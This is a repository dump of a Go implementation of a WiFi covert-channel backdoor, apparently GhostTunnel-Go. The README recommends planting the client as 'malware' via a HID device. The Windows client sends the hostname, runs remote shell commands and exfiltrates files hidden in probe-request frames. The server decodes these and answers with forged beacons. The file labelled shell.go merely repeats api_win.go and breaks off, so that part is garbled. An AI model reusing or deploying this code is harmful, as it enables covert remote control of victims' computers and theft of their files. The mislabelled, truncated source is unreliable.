├── .gitattributes ├── demo.gif ├── demo.pcapng ├── client_win ├── client.exe ├── tunnel.go ├── client.go ├── api_win.go └── shell.go ├── server ├── server-linux64 ├── tunnel.go ├── packet.go └── server.go └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | *.ps1 linguist-language=go -------------------------------------------------------------------------------- /demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AmyangXYZ/GhostTunnel-Go/HEAD/demo.gif -------------------------------------------------------------------------------- /demo.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AmyangXYZ/GhostTunnel-Go/HEAD/demo.pcapng -------------------------------------------------------------------------------- /client_win/client.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AmyangXYZ/GhostTunnel-Go/HEAD/client_win/client.exe -------------------------------------------------------------------------------- /server/server-linux64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AmyangXYZ/GhostTunnel-Go/HEAD/server/server-linux64 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ghost Tunnel - Go 2 | 3 | Golang version of [Ghost Tunnel](https://github.com/360PegasusTeam/GhostTunnel), or called Wifi Covert Channel. 4 | 5 | Hide backdoor payload in 802.11 Probe-req and Beacon Frame. 6 | 7 | No actual WiFi connection is required. 8 | 9 | ## Usage 10 | 11 | ### Server 12 | 13 | `# ./server-linux64 -iface your-monitor-mode-adapter` 14 | 15 | Compile requirements: [gopacket](https://github.com/google/gopacket/), libpcap or winpcap 16 | 17 | ### Client 18 | 19 | Client uses system native WiFi api, so we don't need privilege and additional dependency. 20 | 21 | Simply run the `client.exe`. But I strongly recommend to use [P4wnP1](https://github.com/mame82/P4wnP1_aloa) to ship it! 22 | 23 | >Tips: 24 | > 25 | >Maybe the fastest way is running a HID script to download the malware from P4wnP1's HTTP Server :-) 26 | 27 | ## Demo 28 | 29 | ![](./demo.gif) 30 | 31 | [![Alt text](https://img.youtube.com/vi/_C_TnzA9uvo/0.jpg)](https://www.youtube.com/watch?v=_C_TnzA9uvo) 32 | -------------------------------------------------------------------------------- /client_win/tunnel.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // TunnelData is the secret data hidden in probe-req and beacon. 4 | type TunnelData struct { 5 | flag uint8 6 | dataType uint8 7 | seq uint8 8 | clientID uint8 9 | serverID uint8 10 | length uint8 11 | payload []byte 12 | } 13 | 14 | // flags in tunnelData 15 | const ( 16 | ValidtunnelData uint8 = 0xFE 17 | DataInVendor uint8 = 0x80 18 | MaxPayloadLength = 281 // 32-6+255 19 | ) 20 | 21 | // data type - Tunnel Connection 22 | const ( 23 | TunnelConn uint8 = iota + 0x10 24 | TunnelConnClientReq 25 | TunnelConnServerResp 26 | TunnelConnHeartBeat 27 | ) 28 | 29 | // data type - Tunnel Shell 30 | const ( 31 | TunnelShell uint8 = iota + 0x20 32 | TunnelShellInit 33 | TunnelShellACP 34 | TunnelShellData 35 | TunnelShellQuit 36 | ) 37 | 38 | // data type - Tunnel File 39 | const ( 40 | TunnelFile uint8 = iota + 0x30 41 | TunnelFileGet 42 | TunnelFileInfo 43 | TunnelFileData 44 | TunnelFileEnd 45 | TunnelFileError 46 | ) 47 | -------------------------------------------------------------------------------- /server/tunnel.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // tunnelData is the secret data hidden in probe-req and beacon. 4 | type tunnelData struct { 5 | mac string 6 | flag uint8 7 | dataType uint8 8 | seq uint8 9 | clientID uint8 10 | serverID uint8 11 | length uint8 12 | payload string 13 | } 14 | 15 | // flags in tunnelData 16 | const ( 17 | ValidtunnelData uint8 = 0xFE 18 | DataInVendor uint8 = 0x80 19 | ) 20 | 21 | // data type - Tunnel Connection 22 | const ( 23 | TunnelConn uint8 = iota + 0x10 24 | TunnelConnClientReq 25 | TunnelConnServerResp 26 | TunnelConnHeartBeat 27 | ) 28 | 29 | // data type - Tunnel Shell 30 | const ( 31 | TunnelShell uint8 = iota + 0x20 32 | TunnelShellInit 33 | TunnelShellACP 34 | TunnelShellData 35 | TunnelShellQuit 36 | ) 37 | 38 | // data type - Tunnel File 39 | const ( 40 | TunnelFile uint8 = iota + 0x30 41 | TunnelFileGet 42 | TunnelFileInfo 43 | TunnelFileData 44 | TunnelFileEnd 45 | TunnelFileError 46 | ) 47 | 48 | // Beacon options 49 | var ( 50 | broadcastHw = []byte{0xff, 0xff, 0xff, 0xff, 0xff, 0xff} 51 | customMAC = []byte{0x00, 0x03, 0x93, 0x54, 0x00, 0x00} 52 | supportedRates = []byte{0x82, 0x84, 0x8b, 0x96} 53 | extendSupportRates = []byte{0x0c, 0x12, 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c} 54 | openFlags = 1057 55 | defaultChannel = []byte{0x0B} 56 | defaultTIM = []byte{0x00, 0x01, 0x00, 0x00} 57 | defaultERP = []byte{0x00} 58 | defaultVendor = []byte{0x00, 0x50, 0xf2, 0x02, 0x01, 0x01, 0x00, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 0x2f, 0x00} 59 | ) 60 | -------------------------------------------------------------------------------- /server/packet.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/google/gopacket" 5 | "github.com/google/gopacket/layers" 6 | ) 7 | 8 | func parseProbeReq(probeLayer *layers.Dot11MgmtProbeReq) *tunnelData { 9 | body := probeLayer.LayerContents() 10 | var p1, p2 string = "", "" 11 | if layers.Dot11InformationElementID(body[0]) != layers.Dot11InformationElementIDSSID { 12 | return nil 13 | } 14 | if body[1] > 0 { // length>0 15 | ssid := body[2 : 2+body[1]] 16 | if ssid[0] != ValidtunnelData { 17 | return nil 18 | } 19 | t := &tunnelData{ 20 | flag: ssid[0], 21 | dataType: ssid[1], 22 | seq: ssid[2], 23 | clientID: ssid[3], 24 | serverID: ssid[4], 25 | length: ssid[5], 26 | } 27 | 28 | p1 = string(ssid[6 : 6+t.length]) 29 | 30 | if (t.dataType & DataInVendor) != 0 { 31 | t.dataType &= ^DataInVendor 32 | for i := uint64(6 + t.length); i < uint64(len(body)); i++ { 33 | if layers.Dot11InformationElementID(body[i]) == layers.Dot11InformationElementIDVendor { 34 | // only save the last vendor specific field 35 | p2 = string(body[i+2:]) 36 | } 37 | } 38 | } 39 | t.payload = p1 + p2 40 | return t 41 | } 42 | return nil 43 | } 44 | 45 | func createBeacon(t *tunnelData) []byte { 46 | buf := gopacket.NewSerializeBuffer() 47 | var p1, p2 string 48 | p1 = t.payload 49 | p2 = "" 50 | 51 | vendor := len(t.payload) > 26 // 32-6 52 | if vendor { 53 | t.length = 0x1A 54 | t.dataType |= DataInVendor 55 | p1 = t.payload[0:26] 56 | p2 = t.payload[26:] 57 | } 58 | 59 | ssid := []byte{t.flag, t.dataType, t.seq, t.clientID, t.serverID, t.length} 60 | ssid = append(ssid, []byte(p1)...) 61 | 62 | stack := []gopacket.SerializableLayer{ 63 | &layers.RadioTap{ 64 | DBMAntennaSignal: int8(-10), 65 | ChannelFrequency: 2562, // (11-1)*50+2512 66 | }, 67 | &layers.Dot11{ 68 | Address1: broadcastHw, 69 | Address2: customMAC, 70 | Address3: customMAC, 71 | Type: layers.Dot11TypeMgmtBeacon, 72 | SequenceNumber: uint16(t.seq), 73 | }, 74 | &layers.Dot11MgmtBeacon{ 75 | Flags: uint16(openFlags), 76 | Interval: 100, 77 | }, 78 | dot11Info(layers.Dot11InformationElementIDSSID, ssid), 79 | dot11Info(layers.Dot11InformationElementIDRates, supportedRates), 80 | dot11Info(layers.Dot11InformationElementIDDSSet, defaultChannel), 81 | dot11Info(layers.Dot11InformationElementIDTIM, defaultTIM), 82 | dot11Info(layers.Dot11InformationElementIDERPInfo, defaultERP), 83 | dot11Info(layers.Dot11InformationElementIDESRates, extendSupportRates), 84 | dot11Info(layers.Dot11InformationElementIDVendor, defaultVendor), 85 | } 86 | 87 | if vendor { 88 | stack = append(stack, dot11Info(layers.Dot11InformationElementIDVendor, []byte(p2))) 89 | } 90 | 91 | gopacket.SerializeLayers(buf, gopacket.SerializeOptions{ 92 | FixLengths: true, 93 | ComputeChecksums: true, 94 | }, stack...) 95 | 96 | return buf.Bytes() 97 | } 98 | 99 | func dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11InformationElement { 100 | return &layers.Dot11InformationElement{ 101 | ID: id, 102 | Length: uint8(len(info) & 0xff), 103 | Info: info, 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /client_win/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "container/list" 5 | "encoding/binary" 6 | "fmt" 7 | "io/ioutil" 8 | "os" 9 | "time" 10 | ) 11 | 12 | var ( 13 | apiVersion uint32 = 2 14 | err error 15 | ) 16 | 17 | // WlanAPI call operate system's native WiFi API. 18 | type WlanAPI interface { 19 | Send(t *TunnelData) 20 | Receive() *TunnelData 21 | } 22 | 23 | // GTClient is Ghost Tunnel Windows Client. 24 | type GTClient struct { 25 | WlanAPI 26 | tData chan *TunnelData 27 | clientID uint8 28 | serverID uint8 29 | connected bool 30 | sendList *list.List 31 | shell Shell 32 | } 33 | 34 | // New Windows GTClient. 35 | func New() *GTClient { 36 | return >Client{ 37 | WlanAPI: InitWinAPI(), 38 | tData: make(chan *TunnelData), 39 | sendList: list.New(), 40 | } 41 | } 42 | 43 | func (c *GTClient) sendConnReq() { 44 | name, _ := os.Hostname() 45 | for { 46 | if !c.connected { 47 | c.sendList.PushBack(&TunnelData{ 48 | dataType: TunnelConnClientReq, 49 | payload: append([]byte{0x06}, []byte(name)...), 50 | }) 51 | } 52 | time.Sleep(10 * time.Second) 53 | } 54 | } 55 | 56 | func (c *GTClient) sendHeartBeat() { 57 | for { 58 | if c.connected { 59 | time.Sleep(30 * time.Second) 60 | c.sendList.PushBack(&TunnelData{ 61 | dataType: TunnelConnHeartBeat, 62 | clientID: c.clientID, 63 | serverID: c.serverID, 64 | payload: []byte{}, 65 | }) 66 | } 67 | } 68 | } 69 | 70 | func (c *GTClient) handlePacket() { 71 | go func() { 72 | for { 73 | time.Sleep(1 * time.Millisecond) 74 | if c.sendList.Len() > 0 { 75 | v := c.sendList.Front() 76 | c.Send(v.Value.(*TunnelData)) 77 | c.sendList.Remove(v) 78 | c.tData <- c.Receive() 79 | continue 80 | } 81 | // make a simple probe-request to refresh ssid list. 82 | c.Send(nil) 83 | c.tData <- c.Receive() 84 | 85 | } 86 | }() 87 | 88 | for t := range c.tData { 89 | if t != nil { 90 | switch t.dataType & 0xF0 { 91 | case TunnelConn: 92 | c.handleConn(t) 93 | case TunnelShell: 94 | c.handleShell(t) 95 | case TunnelFile: 96 | c.handleFile(t) 97 | default: 98 | break 99 | } 100 | } 101 | } 102 | } 103 | 104 | func (c *GTClient) handleConn(t *TunnelData) { 105 | switch t.dataType { 106 | case TunnelConnServerResp: 107 | if !c.connected { 108 | c.clientID = t.clientID 109 | c.serverID = t.serverID 110 | c.connected = true 111 | fmt.Println("[*] Connected to Server", c.serverID) 112 | } 113 | case TunnelConnHeartBeat: 114 | c.connected = true 115 | fmt.Println("[*] Received server heartbeat") 116 | default: 117 | break 118 | } 119 | } 120 | 121 | func (c *GTClient) handleShell(t *TunnelData) { 122 | switch t.dataType { 123 | case TunnelShellInit: 124 | fmt.Println("[*] Shell init") 125 | acp := GetOEMCP() 126 | c.sendList.PushBack(&TunnelData{ 127 | dataType: TunnelShellACP, 128 | clientID: c.clientID, 129 | serverID: c.serverID, 130 | payload: acp, 131 | }) 132 | 133 | c.shell.Init() 134 | go func() { 135 | for { 136 | if res := c.shell.ReadOutput(); len(res) > 0 { 137 | // chunk 138 | for len(res) > MaxPayloadLength { 139 | c.sendList.PushBack(&TunnelData{ 140 | dataType: TunnelShellData, 141 | clientID: c.clientID, 142 | serverID: c.serverID, 143 | payload: res[:MaxPayloadLength], 144 | }) 145 | res = res[MaxPayloadLength:] 146 | } 147 | 148 | c.sendList.PushBack(&TunnelData{ 149 | dataType: TunnelShellData, 150 | clientID: c.clientID, 151 | serverID: c.serverID, 152 | payload: res, 153 | }) 154 | } 155 | } 156 | }() 157 | 158 | case TunnelShellData: 159 | fmt.Println(string(t.payload)) 160 | c.shell.Input(string(t.payload) + "\n") 161 | 162 | case TunnelShellQuit: 163 | fmt.Println("[*] Quit shell") 164 | os.Exit(0) 165 | default: 166 | break 167 | } 168 | } 169 | 170 | func (c *GTClient) handleFile(t *TunnelData) { 171 | switch t.dataType { 172 | case TunnelFileGet: 173 | dat, err := ioutil.ReadFile(string(t.payload)) 174 | if err != nil || len(dat) > 1024*1024*10 { 175 | c.sendList.PushBack(&TunnelData{ 176 | dataType: TunnelFileError, 177 | clientID: c.clientID, 178 | serverID: c.serverID, 179 | payload: []byte{}, 180 | }) 181 | } 182 | fmt.Println("[*] Download", string(t.payload)) 183 | // send file info 184 | size := make([]byte, 4) 185 | binary.LittleEndian.PutUint32(size, uint32(len(dat))) 186 | c.sendList.PushBack(&TunnelData{ 187 | dataType: TunnelFileInfo, 188 | clientID: c.clientID, 189 | serverID: c.serverID, 190 | payload: size, 191 | }) 192 | 193 | // chunk 194 | for len(dat) > MaxPayloadLength { 195 | c.sendList.PushBack(&TunnelData{ 196 | dataType: TunnelFileData, 197 | clientID: c.clientID, 198 | serverID: c.serverID, 199 | payload: dat[:MaxPayloadLength], 200 | }) 201 | dat = dat[MaxPayloadLength:] 202 | } 203 | c.sendList.PushBack(&TunnelData{ 204 | dataType: TunnelFileData, 205 | clientID: c.clientID, 206 | serverID: c.serverID, 207 | payload: dat, 208 | }) 209 | 210 | // file end 211 | c.sendList.PushBack(&TunnelData{ 212 | dataType: TunnelFileEnd, 213 | clientID: c.clientID, 214 | serverID: c.serverID, 215 | payload: []byte{}, 216 | }) 217 | default: 218 | break 219 | } 220 | } 221 | 222 | func main() { 223 | c := New() 224 | if err != nil { 225 | fmt.Println(err) 226 | return 227 | } 228 | 229 | fmt.Println("[*] Loading WlanAPI...") 230 | 231 | go c.sendHeartBeat() 232 | go c.handlePacket() 233 | 234 | c.sendConnReq() 235 | } 236 | -------------------------------------------------------------------------------- /client_win/api_win.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "os" 7 | "syscall" 8 | "unsafe" 9 | ) 10 | 11 | const ( 12 | ERROR_SUCCESS = 0x0 13 | MAX_INDEX = 1000 14 | ) 15 | 16 | var e syscall.Errno 17 | 18 | var ( 19 | hWlanOpenHandle *syscall.LazyProc 20 | hWlanCloseHandle *syscall.LazyProc 21 | hWlanFreeMemory *syscall.LazyProc 22 | hWlanEnumInterfaces *syscall.LazyProc 23 | hWlanScan *syscall.LazyProc 24 | hWlanGetNetworkBssList *syscall.LazyProc 25 | ) 26 | 27 | // windows native wifi api types. 28 | type ( 29 | DOT11_SSID struct { 30 | uSSIDLength uint32 31 | ucSSID [32]byte 32 | } 33 | 34 | GUID struct { 35 | Data1 uint 36 | Data2 uint16 37 | Data3 uint16 38 | Data4 [8]byte 39 | } 40 | 41 | WLAN_INTERFACE_INFO_LIST struct { 42 | dwNumberOfItems uint32 43 | dwIndex uint32 44 | InterfaceInfo [MAX_INDEX + 1]WLAN_INTERFACE_INFO 45 | } 46 | 47 | WLAN_INTERFACE_INFO struct { 48 | InterfaceGuid GUID 49 | strInterfaceDescription [256]uint16 50 | isState uint32 51 | } 52 | 53 | WLAN_RAW_DATA struct { 54 | dwDataSize uint32 55 | DataBlob [257]byte 56 | } 57 | 58 | WLAN_BSS_LIST struct { 59 | dwTotalSize uint32 60 | dwNumberOfItems uint32 61 | wlanBssEntries [MAX_INDEX + 1]WLAN_BSS_ENTRY 62 | } 63 | 64 | WLAN_BSS_ENTRY struct { 65 | dot11Ssid DOT11_SSID 66 | uPhyID uint32 67 | dot11Bssid [6]byte 68 | dot11BssType uint32 69 | dot11BssPhyType uint32 70 | lRssi int32 71 | uLinkQuality uint32 72 | bInRegDomain int32 73 | usBeaconPeriod uint16 74 | ullTimestamp uint64 75 | ullHostTimestamp uint64 76 | usCapabilityInformation uint16 77 | ulChCenterFrequency uint32 78 | wlanRateSet WLAN_RATE_SET 79 | ulIeOffset uint32 80 | ulIeSize uint32 81 | } 82 | 83 | WLAN_RATE_SET struct { 84 | uRateSetLength uint32 85 | usRateSet [126]uint16 86 | } 87 | ) 88 | 89 | func WlanOpenHandle(dwClientVersion uint32, 90 | pReserved uintptr, 91 | pdwNegotiatedVersion *uint32, 92 | phClientHandle *uintptr) syscall.Errno { 93 | e, _, _ := hWlanOpenHandle.Call(uintptr(dwClientVersion), 94 | pReserved, 95 | uintptr(unsafe.Pointer(pdwNegotiatedVersion)), 96 | uintptr(unsafe.Pointer(phClientHandle))) 97 | 98 | return syscall.Errno(e) 99 | } 100 | 101 | func WlanCloseHandle(hClientHandle uintptr, 102 | pReserved uintptr) syscall.Errno { 103 | e, _, _ := hWlanCloseHandle.Call(hClientHandle, 104 | pReserved) 105 | 106 | return syscall.Errno(e) 107 | } 108 | 109 | func WlanFreeMemory(pMemory uintptr) { 110 | _, _, _ = hWlanFreeMemory.Call(pMemory) 111 | } 112 | 113 | func WlanEnumInterfaces(hClientHandle uintptr, 114 | pReserved uintptr, 115 | ppInterfaceList **WLAN_INTERFACE_INFO_LIST) syscall.Errno { 116 | e, _, _ := hWlanEnumInterfaces.Call(hClientHandle, 117 | pReserved, 118 | uintptr(unsafe.Pointer(ppInterfaceList))) 119 | 120 | return syscall.Errno(e) 121 | } 122 | 123 | func WlanScan(hClientHandle uintptr, 124 | pInterfaceGuid *GUID, 125 | pDot11Ssid *DOT11_SSID, 126 | pIeData *WLAN_RAW_DATA, 127 | pReserved uintptr) syscall.Errno { 128 | e, _, _ := hWlanScan.Call(hClientHandle, 129 | uintptr(unsafe.Pointer(pInterfaceGuid)), 130 | uintptr(unsafe.Pointer(pDot11Ssid)), 131 | uintptr(unsafe.Pointer(pIeData)), 132 | pReserved) 133 | return syscall.Errno(e) 134 | } 135 | 136 | func WlanGetNetworkBssList(hClientHandle uintptr, 137 | pInterfaceGuid *GUID, 138 | pDot11Ssid *DOT11_SSID, 139 | dot11BssType uint32, 140 | bSecurityEnabled int32, 141 | pReserved uintptr, 142 | ppWlanBssList **WLAN_BSS_LIST) syscall.Errno { 143 | e, _, _ := hWlanGetNetworkBssList.Call(hClientHandle, 144 | uintptr(unsafe.Pointer(pInterfaceGuid)), 145 | uintptr(unsafe.Pointer(pDot11Ssid)), 146 | uintptr(dot11BssType), 147 | uintptr(bSecurityEnabled), 148 | pReserved, 149 | uintptr(unsafe.Pointer(ppWlanBssList))) 150 | return syscall.Errno(e) 151 | } 152 | 153 | func GetOEMCP() []byte { 154 | k := syscall.NewLazyDLL("kernel32.dll") 155 | acp, _, _ := k.NewProc("GetOEMCP").Call() 156 | b := make([]byte, 4) 157 | binary.LittleEndian.PutUint32(b, uint32(acp)) 158 | return b 159 | } 160 | 161 | func init() { 162 | hapi := syscall.NewLazyDLL("wlanapi.dll") 163 | hWlanOpenHandle = hapi.NewProc("WlanOpenHandle") 164 | hWlanCloseHandle = hapi.NewProc("WlanCloseHandle") 165 | hWlanFreeMemory = hapi.NewProc("WlanFreeMemory") 166 | hWlanEnumInterfaces = hapi.NewProc("WlanEnumInterfaces") 167 | hWlanScan = hapi.NewProc("WlanScan") 168 | hWlanGetNetworkBssList = hapi.NewProc("WlanGetNetworkBssList") 169 | } 170 | 171 | type WinAPI struct { 172 | guid GUID 173 | handle uintptr 174 | rSeq uint8 175 | wSeq uint8 176 | } 177 | 178 | // InitWinAPI setup windows wlanapi handler. 179 | func InitWinAPI() *WinAPI { 180 | w := new(WinAPI) 181 | var ilist *WLAN_INTERFACE_INFO_LIST 182 | 183 | e = WlanOpenHandle(apiVersion, 0, &apiVersion, &w.handle) 184 | if e != ERROR_SUCCESS { 185 | fmt.Println(e.Error()) 186 | os.Exit(int(e)) 187 | } 188 | 189 | e = WlanEnumInterfaces(w.handle, 0, &ilist) 190 | if e != ERROR_SUCCESS { 191 | fmt.Println(e.Error()) 192 | os.Exit(int(e)) 193 | } 194 | if ilist.dwNumberOfItems == 0 { 195 | fmt.Println("No interface found") 196 | os.Exit(int(e)) 197 | } 198 | defer WlanFreeMemory(uintptr(unsafe.Pointer(ilist))) 199 | 200 | w.guid = ilist.InterfaceInfo[0].InterfaceGuid 201 | 202 | return w 203 | } 204 | 205 | // Close wlanapi handler 206 | func (w *WinAPI) Close() { 207 | e = WlanCloseHandle(w.handle, 0) 208 | if e != ERROR_SUCCESS { 209 | if e != ERROR_SUCCESS { 210 | fmt.Fprintln(os.Stderr, "WlanCloseHandle: ", e.Error()) 211 | os.Exit(int(e)) 212 | } 213 | } 214 | } 215 | 216 | // Send call WlanScan to send probe-req 217 | func (w *WinAPI) Send(t *TunnelData) { 218 | var p1, p2 []byte 219 | var pIeData *WLAN_RAW_DATA 220 | 221 | // send simple probe-req to refresh bssid list 222 | if t == nil { 223 | e = WlanScan(w.handle, &w.guid, nil, nil, 0) 224 | 225 | if e != ERROR_SUCCESS { 226 | fmt.Println(1, e.Error()) 227 | } 228 | return 229 | } 230 | 231 | t.flag = 0xFE 232 | w.wSeq++ 233 | t.seq = w.wSeq 234 | t.length = uint8(len(t.payload)) 235 | 236 | p1 = []byte(t.payload) 237 | 238 | if len(t.payload) > 26 { 239 | t.dataType |= DataInVendor 240 | t.length = 26 241 | p1 = []byte(t.payload)[0:26] 242 | p2 = []byte(t.payload)[26:] 243 | pIeData = &WLAN_RAW_DATA{ 244 | dwDataSize: uint32(len(p2) + 2), 245 | DataBlob: [257]byte{0xDD, uint8(len(p2))}, 246 | } 247 | for i := 0; i < len(p2); i++ { 248 | pIeData.DataBlob[i+2] = p2[i] 249 | } 250 | } 251 | ssid := &DOT11_SSID{ 252 | uSSIDLength: uint32(6 + t.length), 253 | ucSSID: [32]byte{t.flag, t.dataType, t.seq, t.clientID, t.serverID, t.length}, 254 | } 255 | for i := 0; i < len(p1); i++ { 256 | ssid.ucSSID[i+6] = p1[i] 257 | } 258 | 259 | // maybe the handler is busy now, try again and again 260 | for { 261 | e = WlanScan(w.handle, &w.guid, ssid, pIeData, 0) 262 | if e == ERROR_SUCCESS { 263 | break 264 | } 265 | } 266 | fmt.Printf("[*] Sent %d bytes\n", len(t.payload)+6) 267 | } 268 | 269 | // Receive call WlanGetNetworkBssList to scan ssid. 270 | func (w *WinAPI) Receive() *TunnelData { 271 | var blist *WLAN_BSS_LIST 272 | var ssid *[32]byte 273 | e = WlanGetNetworkBssList(w.handle, &w.guid, nil, 0, 0, 0, &blist) 274 | if e != ERROR_SUCCESS { 275 | fmt.Println(e.Error()) 276 | return nil 277 | } 278 | for i := uint32(0); i < blist.dwNumberOfItems; i++ { 279 | if blist.wlanBssEntries[i].dot11Ssid.ucSSID[0] == 0xFE { 280 | ssid = &blist.wlanBssEntries[i].dot11Ssid.ucSSID 281 | break 282 | } 283 | } 284 | WlanFreeMemory(uintptr(unsafe.Pointer(blist))) 285 | if ssid == nil { 286 | return nil 287 | } 288 | 289 | // this packet has been received 290 | if w.rSeq >= ssid[2] { 291 | return nil 292 | } 293 | if w.rSeq < ssid[2] { 294 | w.rSeq = ssid[2] 295 | } 296 | 297 | t := &TunnelData{ 298 | flag: ssid[0], 299 | dataType: ssid[1], 300 | seq: ssid[2], 301 | clientID: ssid[3], 302 | serverID: ssid[4], 303 | length: ssid[5], 304 | payload: ssid[6 : 6+ssid[5]], 305 | } 306 | 307 | if (t.dataType & DataInVendor) != 0 { 308 | t.dataType &= ^DataInVendor 309 | 310 | } 311 | return t 312 | } 313 | -------------------------------------------------------------------------------- /client_win/shell.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "os" 7 | "syscall" 8 | "unsafe" 9 | ) 10 | 11 | const ( 12 | ERROR_SUCCESS = 0x0 13 | MAX_INDEX = 1000 14 | ) 15 | 16 | var e syscall.Errno 17 | 18 | var ( 19 | hWlanOpenHandle *syscall.LazyProc 20 | hWlanCloseHandle *syscall.LazyProc 21 | hWlanFreeMemory *syscall.LazyProc 22 | hWlanEnumInterfaces *syscall.LazyProc 23 | hWlanScan *syscall.LazyProc 24 | hWlanGetNetworkBssList *syscall.LazyProc 25 | ) 26 | 27 | // windows native wifi api types. 28 | type ( 29 | DOT11_SSID struct { 30 | uSSIDLength uint32 31 | ucSSID [32]byte 32 | } 33 | 34 | GUID struct { 35 | Data1 uint 36 | Data2 uint16 37 | Data3 uint16 38 | Data4 [8]byte 39 | } 40 | 41 | WLAN_INTERFACE_INFO_LIST struct { 42 | dwNumberOfItems uint32 43 | dwIndex uint32 44 | InterfaceInfo [MAX_INDEX + 1]WLAN_INTERFACE_INFO 45 | } 46 | 47 | WLAN_INTERFACE_INFO struct { 48 | InterfaceGuid GUID 49 | strInterfaceDescription [256]uint16 50 | isState uint32 51 | } 52 | 53 | WLAN_RAW_DATA struct { 54 | dwDataSize uint32 55 | DataBlob [257]byte 56 | } 57 | 58 | WLAN_BSS_LIST struct { 59 | dwTotalSize uint32 60 | dwNumberOfItems uint32 61 | wlanBssEntries [MAX_INDEX + 1]WLAN_BSS_ENTRY 62 | } 63 | 64 | WLAN_BSS_ENTRY struct { 65 | dot11Ssid DOT11_SSID 66 | uPhyID uint32 67 | dot11Bssid [6]byte 68 | dot11BssType uint32 69 | dot11BssPhyType uint32 70 | lRssi int32 71 | uLinkQuality uint32 72 | bInRegDomain int32 73 | usBeaconPeriod uint16 74 | ullTimestamp uint64 75 | ullHostTimestamp uint64 76 | usCapabilityInformation uint16 77 | ulChCenterFrequency uint32 78 | wlanRateSet WLAN_RATE_SET 79 | ulIeOffset uint32 80 | ulIeSize uint32 81 | } 82 | 83 | WLAN_RATE_SET struct { 84 | uRateSetLength uint32 85 | usRateSet [126]uint16 86 | } 87 | ) 88 | 89 | func WlanOpenHandle(dwClientVersion uint32, 90 | pReserved uintptr, 91 | pdwNegotiatedVersion *uint32, 92 | phClientHandle *uintptr) syscall.Errno { 93 | e, _, _ := hWlanOpenHandle.Call(uintptr(dwClientVersion), 94 | pReserved, 95 | uintptr(unsafe.Pointer(pdwNegotiatedVersion)), 96 | uintptr(unsafe.Pointer(phClientHandle))) 97 | 98 | return syscall.Errno(e) 99 | } 100 | 101 | func WlanCloseHandle(hClientHandle uintptr, 102 | pReserved uintptr) syscall.Errno { 103 | e, _, _ := hWlanCloseHandle.Call(hClientHandle, 104 | pReserved) 105 | 106 | return syscall.Errno(e) 107 | } 108 | 109 | func WlanFreeMemory(pMemory uintptr) { 110 | _, _, _ = hWlanFreeMemory.Call(pMemory) 111 | } 112 | 113 | func WlanEnumInterfaces(hClientHandle uintptr, 114 | pReserved uintptr, 115 | ppInterfaceList **WLAN_INTERFACE_INFO_LIST) syscall.Errno { 116 | e, _, _ := hWlanEnumInterfaces.Call(hClientHandle, 117 | pReserved, 118 | uintptr(unsafe.Pointer(ppInterfaceList))) 119 | 120 | return syscall.Errno(e) 121 | } 122 | 123 | func WlanScan(hClientHandle uintptr, 124 | pInterfaceGuid *GUID, 125 | pDot11Ssid *DOT11_SSID, 126 | pIeData *WLAN_RAW_DATA, 127 | pReserved uintptr) syscall.Errno { 128 | e, _, _ := hWlanScan.Call(hClientHandle, 129 | uintptr(unsafe.Pointer(pInterfaceGuid)), 130 | uintptr(unsafe.Pointer(pDot11Ssid)), 131 | uintptr(unsafe.Pointer(pIeData)), 132 | pReserved) 133 | return syscall.Errno(e) 134 | } 135 | 136 | func WlanGetNetworkBssList(hClientHandle uintptr, 137 | pInterfaceGuid *GUID, 138 | pDot11Ssid *DOT11_SSID, 139 | dot11BssType uint32, 140 | bSecurityEnabled int32, 141 | pReserved uintptr, 142 | ppWlanBssList **WLAN_BSS_LIST) syscall.Errno { 143 | e, _, _ := hWlanGetNetworkBssList.Call(hClientHandle, 144 | uintptr(unsafe.Pointer(pInterfaceGuid)), 145 | uintptr(unsafe.Pointer(pDot11Ssid)), 146 | uintptr(dot11BssType), 147 | uintptr(bSecurityEnabled), 148 | pReserved, 149 | uintptr(unsafe.Pointer(ppWlanBssList))) 150 | return syscall.Errno(e) 151 | } 152 | 153 | func GetOEMCP() []byte { 154 | k := syscall.NewLazyDLL("kernel32.dll") 155 | acp, _, _ := k.NewProc("GetOEMCP").Call() 156 | b := make([]byte, 4) 157 | binary.LittleEndian.PutUint32(b, uint32(acp)) 158 | return b 159 | } 160 | 161 | func init() { 162 | hapi := syscall.NewLazyDLL("wlanapi.dll") 163 | hWlanOpenHandle = hapi.NewProc("WlanOpenHandle") 164 | hWlanCloseHandle = hapi.NewProc("WlanCloseHandle") 165 | hWlanFreeMemory = hapi.NewProc("WlanFreeMemory") 166 | hWlanEnumInterfaces = hapi.NewProc("WlanEnumInterfaces") 167 | hWlanScan = hapi.NewProc("WlanScan") 168 | hWlanGetNetworkBssList = hapi.NewProc("WlanGetNetworkBssList") 169 | } 170 | 171 | type WinAPI struct { 172 | guid GUID 173 | handle uintptr 174 | rSeq uint8 175 | wSeq uint8 176 | } 177 | 178 | // InitWinAPI setup windows wlanapi handler. 179 | func InitWinAPI() *WinAPI { 180 | w := new(WinAPI) 181 | var ilist *WLAN_INTERFACE_INFO_LIST 182 | 183 | e = WlanOpenHandle(apiVersion, 0, &apiVersion, &w.handle) 184 | if e != ERROR_SUCCESS { 185 | fmt.Println(e.Error()) 186 | os.Exit(int(e)) 187 | } 188 | 189 | e = WlanEnumInterfaces(w.handle, 0, &ilist) 190 | if e != ERROR_SUCCESS { 191 | fmt.Println(e.Error()) 192 | os.Exit(int(e)) 193 | } 